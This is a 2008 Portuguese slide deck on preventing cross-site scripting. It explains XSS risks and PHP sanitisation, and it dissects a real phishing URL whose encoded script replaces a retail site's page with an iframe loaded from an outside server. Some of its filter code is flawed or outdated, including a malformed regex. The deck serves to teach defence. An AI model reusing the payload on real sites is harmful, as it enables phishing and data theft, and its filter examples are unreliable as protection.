SlideShare uma empresa Scribd logo
1 de 19
Baixar para ler offline
Prevenindo XSS:
Execute apenas o SEU código



              v. 1.0 - Abril/2008

       2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



Objetivo:




    Esta apresentação tem por objetivo detalhar o funcionamento de ataques à
  aplicações web usando-se a vulnerabilidade conhecida como XSS ou
  Cross-Site Scripting, além de apresentar técnicas que tornarão sua aplicação
  mais robusta e menos suscetível à este tipo de ataque.




                                                                                                   2

                         2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



O que é XSS:

   É uma vulnerabilidade, típicamente encontrada em aplicações web, que permite
 que código client-side seja injetado na aplicação e consequentemente processado
 na saída de informação (tipicamente, mas nem sempre, uma página HTML).

   É considerada uma vulnerabilidade gravíssima por três motivos:



   1. É freqüentemente subestimada por se tratar de injeção de código client-side,
      ou seja, o servidor está “seguro”;
   2. É, geralmente, de difícil detecção;
   3. Permite ataques repetitivos, mesmo que a injeção de fato tenha sido
      realizada apenas uma vez.




                                                                                                    3

                          2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



Client-side, mas nem de longe inofensivas:

   As linguagens client-side são frequentemente consideradas inofensivas, indignas
 de preocupação com estilo / sintaxe e até mesmo lógica. Estas afirmações até
 seriam procedentes quando a web ainda estava em seus estágios iniciais, mas
 atualmente o “poder de fogo” dado à estas linguagens às tornam tão importantes
 quanto às que são executadas no servidor:




 1. Alteração dinâmica do conteúdo que está sendo exibido: Manipulação do DOM
 2. Criação e manipulação de requisições HTTP assíncronas: AJAX
 3. Inclusão de conteúdo externo à página: iFrames, DIVs, Mashups




                                                                                                    4

                          2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



Difícil detecção:

   Como este tipo de ataque é originado em uma entrada de dados para a aplicação,
 somente no momento em que estes dados são “invocados” novamente é que o
 ataque pode ser “testemunhado”:




                    Aplicação               Página               Browser




                       BD




                                                                                                      5

                            2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



Ataques repetitivos:

   Como normalmente trabalhamos com persistência de dados, à cada exibição
 de um dado infectado o ataque se repete. Isto acontece pelo simples fato de que
 não importa quantas vezes o dado foi gravado, ele geralmente é lido mais de uma
 vez:



               Aplicação               Página               Browser
                       Aplicação              Página               Browser
                             Aplicação             Página               Browser



                  BD
                          BD
                                BD




                                                                                                         6

                               2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



Os pontos fracos de uma aplicação vulnerável:

  Entrada de Dados

    <script>alert('Este
       código não
       deveria ser
       executado'):
         </script>




                              <script>alert('Este
                                 código não
                                 deveria ser
                                 executado'):
                                   </script>



                            Leitura de Dados                      Exibição de Dados
    <script>alert('Este
       código não
       deveria ser
       executado'):
         </script>



  Gravação de Dados

                                                                                                    7

                          2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



XSS na prática – O Cordeiro:

    URL recebida em um e-mail de phishing, na quinta-feira, 17 de abril de 2008:

 http://foo.bar.com.br/portal/meuCadastro.portal?_npfb=true&
 LoginControllerPortlet_actionOverride=%3Cs%63rip%74%3Ewindow.
 %6Fnl%6Fad=fun%63%74ion%28%29%7Bwi%74h%28do%63umen%74.body.
 s%74yle%29%7Bborder=%22none%22;margin=%220%200%200%200%22%7D;
 do%63umen%74.body.innerHTML=%27%3Ciframe%20sr%63=h%74%74p
 %3A%2F/2%303.%312%34.2%32.%314%33/java/index.h%74m%20s%74yle=
 border%3Anone;heigh%74%3A700;wid%74h%3A1000%3E%27%7D;
 do%63umen%74.%74i%74le=%27Foo%63Bar%27%3C/s%63rip%74%3E%3C
 textarea%3E




                                                                                                    8

                          2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



XSS na prática – O Lobo:

 “Tradução” do link recebido:

 http://foo.bar.com.br/portal/meuCadastro.portal?_npfb=true&
 LoginControllerPortlet_actionOverride=<script>window.onload=function(){
 with(document.body.style){border=quot;nonequot;;margin=quot;0 0 0 0quot;};
 document.body.innerHTML='<iframe src=http://000.000.00.000/java/index.htm
 style=border:none;height:700; width:1000>'};document.title='Foo Bar'</script>
 <textarea>




                                                                                                     9

                           2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



XSS na prática – O [...]:

 A resposta que recebi ao e-mail que enviei alertando a empresa:

 “[Bla bla bla] Considerando sua informação, esta promoção não é valida para o
 site Foo Bar. Informamos que e-mail falsos, utilizando a marca Foo Bar, tem
 circulado na Internet.

 [mais Bla bla bla inútil]

 Buscamos sempre encantar e satisfazer nossos clientes. Portanto, sua opinião é
 muito preciosa para nós, pois colabora para mantermos uma relação de confiança.
 [mais Bla bla bla inútil]”




                                                                                                      10

                             2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



Consequências:

    Outra razão pela qual a vulnerabilidade de uma aplicação à ataques XSS é
 considerada tão grave é a gama de possibilidades que o cracker tem à sua
 disposição:


 1. Defacement – A simples substituição de conteúdo com o intuito de ridicularizar a
    empresa, o desenvolvedor ou ambos;
 2. Phishing – O uso do website legítimo como forma de atrair o usuário para
    ambientes mais perigosos e consequentemente...
 3. ... Roubo de dados – A obtenção de dados do usuário, que vão desde casos mais
    “leves”, como endereço de e-mail aos mais graves como número de cartão de
    crédito, conta bancária, etc...
 4. Identity Theft – A obtenção da identificação do usuário na própria aplicação ou até
    mesmo em aplicações externas.




                                                                                                   11

                          2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



Mitos perpetuados:

   Um equívoco comum, tanto por parte dos usuários como por parte dos
 desenvolvedores, é dar um crédito excessivo à uma aplicação porque ela:

 1. Foi desenvolvida na linguagem X
 2. Foi desenvolvida pela empresa Y
 3. Pertence à empresa Z
    Quanta ingenuidade:

 1. Há menos de 15 dias atrás uma seção do portal brasileiro de uma das duas
    maiores marcas de refrigerante do mundo sofreu defacement, permanecendo
    desta forma por, pelo menos, 3 dias.
 2. O exemplo de phishing que acabo de apresentar foi:
 ● Desenvolvido em uma tecnologia considerada além de qualquer dúvida;

 ● Pertence à uma das maiores redes de varejo do Brasil.




   Fica a pergunta:
   Se a aplicação é vulnerável à um ataque tão simples, à que mais ela é
   vulnerável?
                                                                                                   12

                          2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



XSS – Causas:

   Isto demonstra que o fato de uma aplicação web ser vulnerável, tem causas,
 antes de mais nada, não-técnicas:



 1. Amadorismo no desenvolvimento da aplicação;
 2. Descaso com a segurança do cliente;
 3. Irresponsabilidade com as informações que foram confiadas à aplicação;
 4. Absoluta falta de preocupação;
 5. Falta de mentalidade de solucionar problemas.
 6. Mitos perpetuados pelo próprio mercado!




                                                                                                  13

                         2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



XSS – Causas técnicas:

   O desenvolvedor de aplicações web continua, impressionantemente, confiando
 demasiadamente na sorte:



 1. Qualquer dado informado para a aplicação é aceito, sem reservas, e replicado
 para todas as partes da mesma: A aplicação em si processa, o BD recebe, etc...
 2. Qualquer dado é exibido, e consequentemente processado pelo browser,
    enviado em e-mails, publicado em relatórios, disponibilizado em feeds RSS, etc...




                                                                                                   14

                          2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



XSS – Soluções:


    Todo o desenvolvedor web deveria estar cansado de saber que:


    1. JAMAIS deve-se aceitar uma entrada de dados, independente de origem,
       sem que estes dados passem por uma rotina de “higienização”
    2. JAMAIS deve-se exibir dados, estejam eles no formato que estiverem,
       sem que eles sejam previamente tratados, mesmo que tenham sido
       filtrados na entrada!




                                                                                                 15

                        2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



XSS – Soluções Técnicas:


     O equívoco comum cometido ao se implementar uma técnica de filtragem
  de entrada de dados ou tratamento da saída é concentrar-se no que deve ser
  proibido. Isto causa diversos problemas, pois o desenvolvedor é obrigado à
  “prever” todo e qualquer tipo de dado potencialmente perigoso. Siga o caminho
  correto: processe o dado levando em conta o que é permitido: Você estará
  trabalhando com uma variedade geralmente menor de dados.

      Use soluções maduras, resista ao ímpeto de criar uma função custmizada:

    strip_tags()
  ●

  ● htmlentities()

  ● filter




    Certifique-se de que qualquer URL presente nos dados seja a URL de sua
  aplicação. Execute as rotinas de filtragem em qualquer entrada ou saída de dados.




                                                                                                    16

                           2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



XSS – Soluções Técnicas - Exemplos:

  <?php
  $conteudo = strip_tags($conteudo, '<font><b><i>');
  ?>

  <?php
  $conteudo = filter_var($conteudo, FILTER_SANITIZE_STRING);
  ?>

  <?php
  $conteudo = htmlentities($conteudo, ENT_QUOTES);
  ?>

  <?php
  $url = quot;foo.bar.com.brquot;;

  if (preg_match('/http:///', $conteudo)) {
      if (!preg_match('/^http://(.)+' . addcslashes($url, '.') . '/', $conteudo)) {
          die(quot;nnErronnquot;);
      }
  }
  ?>

                                                                                                       17

                              2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



Sobre o autor:


   Er Galvão Abbott trabalha há mais de dez anos com programação de
websites e sistemas corporativos com interface web.

  Autodidata, teve seu primeiro contato com a linguagem HTML em 1995,
quando a internet estreava no Brasil.

  Além de lecionar em cursos, escrever artigos e ministrar palestras, tem
se dedicado ao desenvolvimento de aplicações web, tendo nas linguagens
PHP, Perl e JavaScript suas principais paixões.

   É o fundador e líder do UG PHP RS, além de trabalhar como
desenvolvedor para um portal norte-americano de conteúdo.




                                                                                                 18

                        2008 Er Galvão Abbott - http://www.galvao.eti.br/
Prevenindo XSS: Execute apenas o SEU código



Contatos:




   Contatos com o autor:

   Web:
   http://www.galvao.eti.br
   http://blog.galvao.eti.br/
   http://www.phprs.com.br
   http://www.insightory.com

   E-mail:
   galvao@galvao.eti.br




                                                                                                   19

                          2008 Er Galvão Abbott - http://www.galvao.eti.br/

Mais conteúdo relacionado

Mais procurados

CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR, UnB
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesClavis Segurança da Informação
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software SeguroAugusto Lüdtke
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasMagno Logan
 
XSS Injection ou Cross Site Scripting e seus perigos
XSS Injection ou Cross Site Scripting e seus perigosXSS Injection ou Cross Site Scripting e seus perigos
XSS Injection ou Cross Site Scripting e seus perigosMauricio Corrêa
 
Segurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPSegurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPFabiano Pereira
 
TIRE O MÁXIMO PROVEITO DE SEU FIREWALL DE APLICAÇÃO - Willian Mayan
TIRE O MÁXIMO PROVEITO DE SEU FIREWALL DE APLICAÇÃO - Willian MayanTIRE O MÁXIMO PROVEITO DE SEU FIREWALL DE APLICAÇÃO - Willian Mayan
TIRE O MÁXIMO PROVEITO DE SEU FIREWALL DE APLICAÇÃO - Willian Mayanibliss-seguranca
 
Teste seguranca aplicacoes web security testing
Teste seguranca aplicacoes web security testingTeste seguranca aplicacoes web security testing
Teste seguranca aplicacoes web security testingCristiano Caetano
 
Como se tornar um especialista em Desenvolvimento Seguro de Software
Como se tornar um especialista em Desenvolvimento Seguro de SoftwareComo se tornar um especialista em Desenvolvimento Seguro de Software
Como se tornar um especialista em Desenvolvimento Seguro de SoftwareAlcyon Ferreira de Souza Junior, MSc
 
Segurança de Redes
Segurança de RedesSegurança de Redes
Segurança de RedesCassio Ramos
 
Detecção e prevenção de vulnerabilidades no Wordpress.
Detecção e prevenção de vulnerabilidades no Wordpress.Detecção e prevenção de vulnerabilidades no Wordpress.
Detecção e prevenção de vulnerabilidades no Wordpress.João Neto
 
Xss Desvendado!
Xss Desvendado!Xss Desvendado!
Xss Desvendado!ricardophp
 

Mais procurados (18)

CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
Testes de segurança em aplicações web
Testes de segurança em aplicações webTestes de segurança em aplicações web
Testes de segurança em aplicações web
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
 
XSS Injection ou Cross Site Scripting e seus perigos
XSS Injection ou Cross Site Scripting e seus perigosXSS Injection ou Cross Site Scripting e seus perigos
XSS Injection ou Cross Site Scripting e seus perigos
 
Segurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASPSegurança em Aplicações Web conforme OWASP
Segurança em Aplicações Web conforme OWASP
 
TIRE O MÁXIMO PROVEITO DE SEU FIREWALL DE APLICAÇÃO - Willian Mayan
TIRE O MÁXIMO PROVEITO DE SEU FIREWALL DE APLICAÇÃO - Willian MayanTIRE O MÁXIMO PROVEITO DE SEU FIREWALL DE APLICAÇÃO - Willian Mayan
TIRE O MÁXIMO PROVEITO DE SEU FIREWALL DE APLICAÇÃO - Willian Mayan
 
Teste seguranca aplicacoes web security testing
Teste seguranca aplicacoes web security testingTeste seguranca aplicacoes web security testing
Teste seguranca aplicacoes web security testing
 
Como se tornar um especialista em Desenvolvimento Seguro de Software
Como se tornar um especialista em Desenvolvimento Seguro de SoftwareComo se tornar um especialista em Desenvolvimento Seguro de Software
Como se tornar um especialista em Desenvolvimento Seguro de Software
 
Segurança de Redes
Segurança de RedesSegurança de Redes
Segurança de Redes
 
Detecção e prevenção de vulnerabilidades no Wordpress.
Detecção e prevenção de vulnerabilidades no Wordpress.Detecção e prevenção de vulnerabilidades no Wordpress.
Detecção e prevenção de vulnerabilidades no Wordpress.
 
Ameacas e Vulnerabilidades em Apps Web-2013
Ameacas e Vulnerabilidades em Apps Web-2013Ameacas e Vulnerabilidades em Apps Web-2013
Ameacas e Vulnerabilidades em Apps Web-2013
 
THE WebSec
THE WebSecTHE WebSec
THE WebSec
 
Defensive Programming - by Alcyon Junior
Defensive Programming - by Alcyon JuniorDefensive Programming - by Alcyon Junior
Defensive Programming - by Alcyon Junior
 
Palestra fatec
Palestra fatecPalestra fatec
Palestra fatec
 
Xss Desvendado!
Xss Desvendado!Xss Desvendado!
Xss Desvendado!
 
Soluções Site Blindado
Soluções Site BlindadoSoluções Site Blindado
Soluções Site Blindado
 

Destaque

Doctrine 2.0: A evolução da persistência em PHP
Doctrine 2.0: A evolução da persistência em PHPDoctrine 2.0: A evolução da persistência em PHP
Doctrine 2.0: A evolução da persistência em PHPGuilherme Blanco
 
Doctrine 2 camada de persistência para php
Doctrine 2   camada de persistência para phpDoctrine 2   camada de persistência para php
Doctrine 2 camada de persistência para phpFabio B. Silva
 
XSS (Cross site scripting)
XSS (Cross site scripting)XSS (Cross site scripting)
XSS (Cross site scripting)Eduardo Bohrer
 
Doctrine2 In 10 Minutes
Doctrine2 In 10 MinutesDoctrine2 In 10 Minutes
Doctrine2 In 10 MinutesRyan Weaver
 
Palestra criando aplicações seguras com php (2)
Palestra  criando aplicações seguras com php (2)Palestra  criando aplicações seguras com php (2)
Palestra criando aplicações seguras com php (2)Leandro Lugaresi
 
Cross Site Scripting - XSS
Cross Site Scripting - XSSCross Site Scripting - XSS
Cross Site Scripting - XSSDiego Souza
 
Palestra - Symfony Framework MVC PHP 5
Palestra - Symfony Framework MVC PHP 5Palestra - Symfony Framework MVC PHP 5
Palestra - Symfony Framework MVC PHP 5Lucas Augusto Carvalho
 
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Clavis Segurança da Informação
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityAbdul Wahid
 

Destaque (9)

Doctrine 2.0: A evolução da persistência em PHP
Doctrine 2.0: A evolução da persistência em PHPDoctrine 2.0: A evolução da persistência em PHP
Doctrine 2.0: A evolução da persistência em PHP
 
Doctrine 2 camada de persistência para php
Doctrine 2   camada de persistência para phpDoctrine 2   camada de persistência para php
Doctrine 2 camada de persistência para php
 
XSS (Cross site scripting)
XSS (Cross site scripting)XSS (Cross site scripting)
XSS (Cross site scripting)
 
Doctrine2 In 10 Minutes
Doctrine2 In 10 MinutesDoctrine2 In 10 Minutes
Doctrine2 In 10 Minutes
 
Palestra criando aplicações seguras com php (2)
Palestra  criando aplicações seguras com php (2)Palestra  criando aplicações seguras com php (2)
Palestra criando aplicações seguras com php (2)
 
Cross Site Scripting - XSS
Cross Site Scripting - XSSCross Site Scripting - XSS
Cross Site Scripting - XSS
 
Palestra - Symfony Framework MVC PHP 5
Palestra - Symfony Framework MVC PHP 5Palestra - Symfony Framework MVC PHP 5
Palestra - Symfony Framework MVC PHP 5
 
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
Tutorial: Principais Vulnerabilidades em Aplicações Web – Rafael Soares Ferre...
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 

Semelhante a Prevenindo XSS: Execute apenas o SEU código

Segurança da Informação na Internet atual
Segurança da Informação na Internet atualSegurança da Informação na Internet atual
Segurança da Informação na Internet atualcpericao
 
Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Alex Hübner
 
Construindo um ambiente resiliente para Ransomware com AWS
Construindo um ambiente resiliente para Ransomware com AWSConstruindo um ambiente resiliente para Ransomware com AWS
Construindo um ambiente resiliente para Ransomware com AWSAmazon Web Services LATAM
 
Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)Luciano Gerhardt
 
Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2William Costa
 
Construindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasConstruindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasRafael Jaques
 
Construindo uma aplicação PHP à Prova de Balas - Rafael Jaques
Construindo uma aplicação PHP à Prova de Balas - Rafael JaquesConstruindo uma aplicação PHP à Prova de Balas - Rafael Jaques
Construindo uma aplicação PHP à Prova de Balas - Rafael JaquesTchelinux
 
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...Magno Logan
 
Criando um appliance Open Source para mitigar vulnerabilidades de serviços e ...
Criando um appliance Open Source para mitigar vulnerabilidades de serviços e ...Criando um appliance Open Source para mitigar vulnerabilidades de serviços e ...
Criando um appliance Open Source para mitigar vulnerabilidades de serviços e ...Alexandro Silva
 
TDC 2011 - Arquitetura de desfesa contra injeção de SQL
TDC 2011 - Arquitetura de desfesa contra injeção de SQLTDC 2011 - Arquitetura de desfesa contra injeção de SQL
TDC 2011 - Arquitetura de desfesa contra injeção de SQLLuis Asensio
 
Principais ameças à Aplicações Web - Como explorá-las e como se proteger.
Principais ameças à Aplicações Web - Como explorá-las e como se proteger. Principais ameças à Aplicações Web - Como explorá-las e como se proteger.
Principais ameças à Aplicações Web - Como explorá-las e como se proteger. Clavis Segurança da Informação
 
10 problemas seguranca_ecommerce
10 problemas seguranca_ecommerce10 problemas seguranca_ecommerce
10 problemas seguranca_ecommerceSite Blindado S.A.
 
Blindando o site Joomla!
Blindando o site Joomla!Blindando o site Joomla!
Blindando o site Joomla!Júlio Coutinho
 
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...Clavis Segurança da Informação
 
Explorando 5 falhas graves de segurança que todos programadores cometem
Explorando 5 falhas graves de segurança que todos programadores cometem Explorando 5 falhas graves de segurança que todos programadores cometem
Explorando 5 falhas graves de segurança que todos programadores cometem Alcyon Ferreira de Souza Junior, MSc
 
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...Thiago Dieb
 
A OWASP e a Segurança Aplicacional para a Web
A OWASP e a Segurança Aplicacional para a WebA OWASP e a Segurança Aplicacional para a Web
A OWASP e a Segurança Aplicacional para a WebCarlos Serrao
 

Semelhante a Prevenindo XSS: Execute apenas o SEU código (20)

Aula 10 - Cross Site Scripting (XSS)
Aula 10 - Cross Site Scripting (XSS)Aula 10 - Cross Site Scripting (XSS)
Aula 10 - Cross Site Scripting (XSS)
 
Segurança da Informação na Internet atual
Segurança da Informação na Internet atualSegurança da Informação na Internet atual
Segurança da Informação na Internet atual
 
Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?Aplicações Web ‐ Seu site está seguro?
Aplicações Web ‐ Seu site está seguro?
 
Segurança na web
Segurança na webSegurança na web
Segurança na web
 
Construindo um ambiente resiliente para Ransomware com AWS
Construindo um ambiente resiliente para Ransomware com AWSConstruindo um ambiente resiliente para Ransomware com AWS
Construindo um ambiente resiliente para Ransomware com AWS
 
Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)Segurança em Aplicações ASP.NET (XSS e CSRF)
Segurança em Aplicações ASP.NET (XSS e CSRF)
 
Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2Hacking em consoles webs de security appliances, h2hc-rev-2
Hacking em consoles webs de security appliances, h2hc-rev-2
 
Construindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de BalasConstruindo uma Aplicação PHP à Prova de Balas
Construindo uma Aplicação PHP à Prova de Balas
 
Construindo uma aplicação PHP à Prova de Balas - Rafael Jaques
Construindo uma aplicação PHP à Prova de Balas - Rafael JaquesConstruindo uma aplicação PHP à Prova de Balas - Rafael Jaques
Construindo uma aplicação PHP à Prova de Balas - Rafael Jaques
 
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
 
Criando um appliance Open Source para mitigar vulnerabilidades de serviços e ...
Criando um appliance Open Source para mitigar vulnerabilidades de serviços e ...Criando um appliance Open Source para mitigar vulnerabilidades de serviços e ...
Criando um appliance Open Source para mitigar vulnerabilidades de serviços e ...
 
TDC 2011 - Arquitetura de desfesa contra injeção de SQL
TDC 2011 - Arquitetura de desfesa contra injeção de SQLTDC 2011 - Arquitetura de desfesa contra injeção de SQL
TDC 2011 - Arquitetura de desfesa contra injeção de SQL
 
Principais ameças à Aplicações Web - Como explorá-las e como se proteger.
Principais ameças à Aplicações Web - Como explorá-las e como se proteger. Principais ameças à Aplicações Web - Como explorá-las e como se proteger.
Principais ameças à Aplicações Web - Como explorá-las e como se proteger.
 
10 problemas seguranca_ecommerce
10 problemas seguranca_ecommerce10 problemas seguranca_ecommerce
10 problemas seguranca_ecommerce
 
Blindando o site Joomla!
Blindando o site Joomla!Blindando o site Joomla!
Blindando o site Joomla!
 
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
OWASP Top 10 - Experiência e Cases com Auditorias Teste de Invasão em Aplicaç...
 
Explorando 5 falhas graves de segurança que todos programadores cometem
Explorando 5 falhas graves de segurança que todos programadores cometem Explorando 5 falhas graves de segurança que todos programadores cometem
Explorando 5 falhas graves de segurança que todos programadores cometem
 
Owasp web app_flaws
Owasp web app_flawsOwasp web app_flaws
Owasp web app_flaws
 
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...
 
A OWASP e a Segurança Aplicacional para a Web
A OWASP e a Segurança Aplicacional para a WebA OWASP e a Segurança Aplicacional para a Web
A OWASP e a Segurança Aplicacional para a Web
 

Mais de Er Galvão Abbott

Tudo o que você precisa saber sobre o php7
Tudo o que você precisa saber sobre o php7Tudo o que você precisa saber sobre o php7
Tudo o que você precisa saber sobre o php7Er Galvão Abbott
 
DRYing the Skeleton: Reducing code repetition in ZF2
DRYing the Skeleton: Reducing code repetition in ZF2DRYing the Skeleton: Reducing code repetition in ZF2
DRYing the Skeleton: Reducing code repetition in ZF2Er Galvão Abbott
 
Php7 esta chgando! O que você precisa saber
Php7 esta chgando! O que você precisa saberPhp7 esta chgando! O que você precisa saber
Php7 esta chgando! O que você precisa saberEr Galvão Abbott
 
ABRAPHP: Conquistas e Realizações - 2012-2014
ABRAPHP: Conquistas e Realizações - 2012-2014ABRAPHP: Conquistas e Realizações - 2012-2014
ABRAPHP: Conquistas e Realizações - 2012-2014Er Galvão Abbott
 
Implementing security routines with zf2
Implementing security routines with zf2Implementing security routines with zf2
Implementing security routines with zf2Er Galvão Abbott
 
Desenvolvendo aplicações com ZF2
Desenvolvendo aplicações com ZF2Desenvolvendo aplicações com ZF2
Desenvolvendo aplicações com ZF2Er Galvão Abbott
 
Web: funcionamento, evolução e mercado
Web: funcionamento, evolução e mercadoWeb: funcionamento, evolução e mercado
Web: funcionamento, evolução e mercadoEr Galvão Abbott
 
Otimizando a execução de código-fonte PHP
Otimizando a execução de código-fonte PHPOtimizando a execução de código-fonte PHP
Otimizando a execução de código-fonte PHPEr Galvão Abbott
 
ZF2 Menor, melhor e mais poderoso
ZF2 Menor, melhor e mais poderosoZF2 Menor, melhor e mais poderoso
ZF2 Menor, melhor e mais poderosoEr Galvão Abbott
 
Implementando rotinas de geolocalização
Implementando rotinas de geolocalizaçãoImplementando rotinas de geolocalização
Implementando rotinas de geolocalizaçãoEr Galvão Abbott
 
OSS, Comunidade, Eventos e como sua empresa ganha com isso
OSS, Comunidade, Eventos e como sua empresa ganha com issoOSS, Comunidade, Eventos e como sua empresa ganha com isso
OSS, Comunidade, Eventos e como sua empresa ganha com issoEr Galvão Abbott
 
OWASP: O que, Por que e Como
OWASP: O que, Por que e ComoOWASP: O que, Por que e Como
OWASP: O que, Por que e ComoEr Galvão Abbott
 
Além da autenticação: Permissões de acesso com Zend Framework
Além da autenticação: Permissões de acesso com Zend FrameworkAlém da autenticação: Permissões de acesso com Zend Framework
Além da autenticação: Permissões de acesso com Zend FrameworkEr Galvão Abbott
 
Proposta de Boas Práticas e Padrões de Desenvolvimento Web
Proposta de Boas Práticas e Padrões de Desenvolvimento WebProposta de Boas Práticas e Padrões de Desenvolvimento Web
Proposta de Boas Práticas e Padrões de Desenvolvimento WebEr Galvão Abbott
 

Mais de Er Galvão Abbott (20)

Segurança PHP em 2016
Segurança PHP em 2016Segurança PHP em 2016
Segurança PHP em 2016
 
Tudo o que você precisa saber sobre o php7
Tudo o que você precisa saber sobre o php7Tudo o que você precisa saber sobre o php7
